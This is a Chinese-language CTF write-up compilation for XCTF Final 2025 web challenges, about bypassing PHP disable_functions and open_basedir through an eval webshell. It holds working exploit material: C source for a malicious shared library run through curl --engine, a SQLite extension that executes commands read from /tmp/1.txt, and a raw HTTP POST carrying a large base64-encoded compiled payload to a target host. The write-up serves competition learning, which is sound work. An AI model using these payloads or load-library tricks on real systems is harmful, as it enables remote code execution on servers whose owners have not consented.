XCTF Final 2025 决赛 web 整理学习

自己整理一下两天的XCTF Final赛事web方向的赛题,网上好像没有很全的wp,awdp更是完全没有。就全部找了集合一下再补充自己的(主要是awdp)。

赛制:第一天解题和rw以及pwn单挑,第二天是赛制比较特殊的awd,挺有趣的,十分钟一轮检查,给前几轮所有人攻击流量和patch包(到后面给的东西轮次会越来越接近当前轮次),先打了本地的才能patch,主要还是pwn太神仙打架了。最快发现最弱的漏洞--攻击成功--patch种马--优势滚雪球。

解题赛:

kidding:

经典绕过 disable_functions 和 open_basedir 题目

<?php
highlight_file(__FILE__);
@eval($_POST['so_ez!k1ddi&g?']);

open_basedir /var/www/html:/tmp
img

proc_open,pcntl_waitpid,pcntl_wait,dl,ini_restore,mb_send_mail,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,pcntl_alarm,pcntl_sigtimedwait,ini_set

然后还有openssl,sqlite3。当时主要思路是去sqlite3绕openbase_dir什么的,下面是问ai的sqlite3的绕过之一的回答,最后很多尝试都失败了。

img)

最后别人题解是这个的报告

curl |报告 #3293801- 标题:通过任意库远程代码执行(RCE)加载在“--engine”选项中 |HackerOne

看到的题解:

XCTF final 2025 N1Star web wp - ENOCH-lyn Blog

不过他这个的第二道题就把curl那一套函数给禁用了。

image-20251205201019731

翻译的命令行工具是curl

  1. 创建恶意载荷
    把下面 C 代码保存为 evil_engine.c。库文件被加载时,会立即执行 id > /tmp/RCE_VIA_ENGINE

    #include <stdlib.h>
    // 动态链接器加载库时,自动运行此构造函数
    __attribute__((constructor))
    static void rce_init(void) {
        system("id > /tmp/RCE_VIA_ENGINE");
    }
    
  2. 编译成共享库

    gcc -fPIC -shared -o evil_engine.so evil_engine.c
    
  3. 清理旧痕迹

    rm -f /tmp/RCE_VIA_ENGINE
    
  4. 利用 curl 的 --engine 加载恶意库

    bash

    复制

    curl --engine $(pwd)/evil_engine.so https://example.com
    

    会看到类似 curl: (53) SSL Engine not found 的错误——不重要,因为构造函数已在报错前执行。

  5. 验证是否成功触发了命令执行

    cat /tmp/RCE_VIA_ENGINE
    

    若能读出 uid=... 信息,证明 RCE 达成。

    别人的博客wp的那一张

    image-20251205201506885

    curl --engine /tmp/evil.so → 加载瞬间 → constructor 执行 → 任意命令
    不受 PHP 禁用函数限制不穿 basedir(加载在 C 层)

kinding-revenge

​ 第二关把curl那一套都禁用了。我在su team的博客找到了答案,他们反而是用第二关的思路做的第一关,不会是因为他们非预期了才加的第二关吧,我记得是后面放出来的这题。_

https://su-team.cn 的微信公众号发的,写wp的博客反而没有

这一题的下面都是他们的内容了:

"""

但偶然看到存在sqlite3 扩展,推测其在putenv 被ban情况下也能完成任意路径下.so加载
存在SQLite3::loadExtension 方法可以加载库,但库必须位于配置选项 sqlite3.extension_dir 中指定的目录中。

峰回路转找到在Pdo\Sqlite::loadExtension 也存在可以加载库的方法,好像没有配置限制

依据报错,构造 so 文件

#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

SQLITE_EXTENSION_INIT1

#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_exploit_init(
    sqlite3 *db,
    char **pzErrMsg,
    const sqlite3_api_routines *pApi
) {
    SQLITE_EXTENSION_INIT2(pApi);

    const char *command_file_path = "/tmp/1.txt";
    char command_buffer[512] = {0};
    FILE *file_handle;

    file_handle = fopen(command_file_path, "r");
    if (file_handle == NULL) {
        return SQLITE_OK;
    }

    if (fgets(command_buffer, sizeof(command_buffer), file_handle) != NULL) {
        command_buffer[strcspn(command_buffer, "\r\n")] = 0;
        if (strlen(command_buffer) > 0) {
            system(command_buffer);
        }
    }
    fclose(file_handle);
    return SQLITE_OK;
}

写入,加载

POST / HTTP/1.1
Host: 173.32.20.154
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

Content-Length: 21284

%73%6f%5f%65%7a%21%6b%31%64%64%69%26%67%3f=%24base64%5Fso%20%3D%20%22f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAAAABAAAAAAAAAAAg2AAAAAAAAAAAAAEAAOAAJAEAAHAAbAAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAUAAAAAAADIBQAAAAAAAAAQAAAAAAAAAQAAAAUAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAA9AgAAAAAAAD0CAAAAAAAAABAAAAAAAAABAAAABAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAALQAAAAAAAAAtAAAAAAAAAAAEAAAAAAAAAEAAAAGAAAA8C0AAAAAAADwPQAAAAAAAPA9AAAAAAAAQAIAAAAAAABQAgAAAAAAAAAQAAAAAAAAAgAAAAYAAAAALgAAAAAAAAA%2BAAAAAAAAAD4AAAAAAADAAQAAAAAAAMABAAAAAAAACAAAAAAAAAAEAAAABAAAADgCAAAAAAAAOAIAAAAAAAA4AgAAAAAAACQAAAAAAAAAJAAAAAAAAAAEAAAAAAAAAFDldGQEAAAAECAAAAAAAAAQIAAAAAAAABAgAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUeV0ZAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAABS5XRkBAAAAPAtAAAAAAAA8D0AAAAAAADwPQAAAAAAABACAAAAAAAAEAIAAAAAAAABAAAAAAAAAAQAAAAUAAAAAwAAAEdOVQC1DaX3C6ra9C0veZQmRe09DUv69wAAAAACAAAACgAAAAEAAAAGAAAACgAEAAAQAAAAAAAACgAAAAArJSODdAZ5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAkQAAABIAAAAAAAAAAAAAAAAAAAAAAAAAigAAABIAAAAAAAAAAAAAAAAAAAAAAAAAggAAABIAAAAAAAAAAAAAAAAAAAAAAAAAfAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAdgAAABIAAAAAAAAAAAAAAAAAAAAAAAAALAAAACAAAAAAAAAAAAAAAAAAAAAAAAAARgAAACIAAAAAAAAAAAAAAAAAAAAAAAAAYQAAABIADABJEQAAAAAAAOkAAAAAAAAAVQAAABEAFwA4QAAAAAAAAAgAAAAAAAAAAF9fZ21vbl9zdGFydF9fAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplAHNxbGl0ZTNfYXBpAHNxbGl0ZTNfZXhwbG9pdF9pbml0AGZvcGVuAGZnZXRzAHN0cmNzcG4Ac3lzdGVtAGZjbG9zZQBsaWJjLnNvLjYAR0xJQkNfMi4yLjUAAAABAAIAAgACAAIAAQACAAEAAgABAAEAAAABAAEAmAAAABAAAAAAAAAAdRppCQAAAgCiAAAAAAAAAPA9AAAAAAAACAAAAAAAAABAEQAAAAAAAPg9AAAAAAAACAAAAAAAAAAAEQAAAAAAAChAAAAAAAAACAAAAAAAAAAoQAAAAAAAAMA%2FAAAAAAAABgAAAAEAAAAAAAAAAAAAAMg%2FAAAAAAAABgAAAAYAAAAAAAAAAAAAANA%2FAAAAAAAABgAAAAgAAAAAAAAAAAAAANg%2FAAAAAAAABgAAAAsAAAAAAAAAAAAAAOA%2FAAAAAAAABgAAAAkAAAAAAAAAAAAAAABAAAAAAAAABwAAAAIAAAAAAAAAAAAAAAhAAAAAAAAABwAAAAMAAAAAAAAAAAAAABBAAAAAAAAABwAAAAQAAAAAAAAAAAAAABhAAAAAAAAABwAAAAUAAAAAAAAAAAAAACBAAAAAAAAABwAAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiD7AhIiwW9LwAASIXAdAL%2F0EiDxAjDAAAAAAAAAAAA%2FzXKLwAA%2FyXMLwAADx9AAP8lyi8AAGgAAAAA6eD%2F%2F%2F%2F%2FJcIvAABoAQAAAOnQ%2F%2F%2F%2F%2FyW6LwAAaAIAAADpwP%2F%2F%2F%2F8lsi8AAGgDAAAA6bD%2F%2F%2F%2F%2FJaovAABoBAAAAOmg%2F%2F%2F%2F%2FyVaLwAAZpAAAAAAAAAAAEiNPZkvAABIjQWSLwAASDn4dBVIiwUWLwAASIXAdAn%2F4A8fgAAAAADDDx%2BAAAAAAEiNPWkvAABIjTViLwAASCn%2BSInwSMHuP0jB%2BANIAcZI0f50FEiLBeUuAABIhcB0CP%2FgZg8fRAAAww8fgAAAAADzDx76gD0lLwAAAHUrVUiDPcouAAAASInldAxIiz0GLwAA6Fn%2F%2F%2F%2FoZP%2F%2F%2F8YF%2FS4AAAFdww8fAMMPH4AAAAAA8w8e%2Bul3%2F%2F%2F%2FVUiJ5UiB7DACAABIib3o%2Ff%2F%2FSIm14P3%2F%2F0iJldj9%2F%2F9IiwVoLgAASIuV2P3%2F%2F0iJEEiNBX8OAABIiUX4SI2V8P3%2F%2F7gAAAAAuUAAAABIidfzSKtIjRVoDgAASItF%2BEiJ1kiJx%2Bi%2B%2Fv%2F%2FSIlF8EiDffAAdQe4AAAAAOtsSItV8EiNhfD9%2F%2F%2B%2BAAIAAEiJx%2BiE%2Fv%2F%2FSIXAdD5IjRUlDgAASI2F8P3%2F%2F0iJ1kiJx%2BhW%2Fv%2F%2FxoQF8P3%2F%2FwBIjYXw%2Ff%2F%2FD7YAhMB0D0iNhfD9%2F%2F9IicfoIf7%2F%2F0iLRfBIicfoBf7%2F%2F7gAAAAAycMAAEiD7AhIg8QIwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvdG1wLzEudHh0AHIADQoAARsDOyQAAAADAAAAEPD%2F%2F0AAAABw8P%2F%2FaAAAADnx%2F%2F%2BAAAAAAAAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAACQAAAAcAAAAyO%2F%2F%2F2AAAAAADhBGDhhKDwt3CIAAPxo7KjMkIgAAAAAUAAAARAAAAADw%2F%2F8IAAAAAAAAAAAAAAAcAAAAXAAAALHw%2F%2F%2FpAAAAAEEOEIYCQw0GAuQMBwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA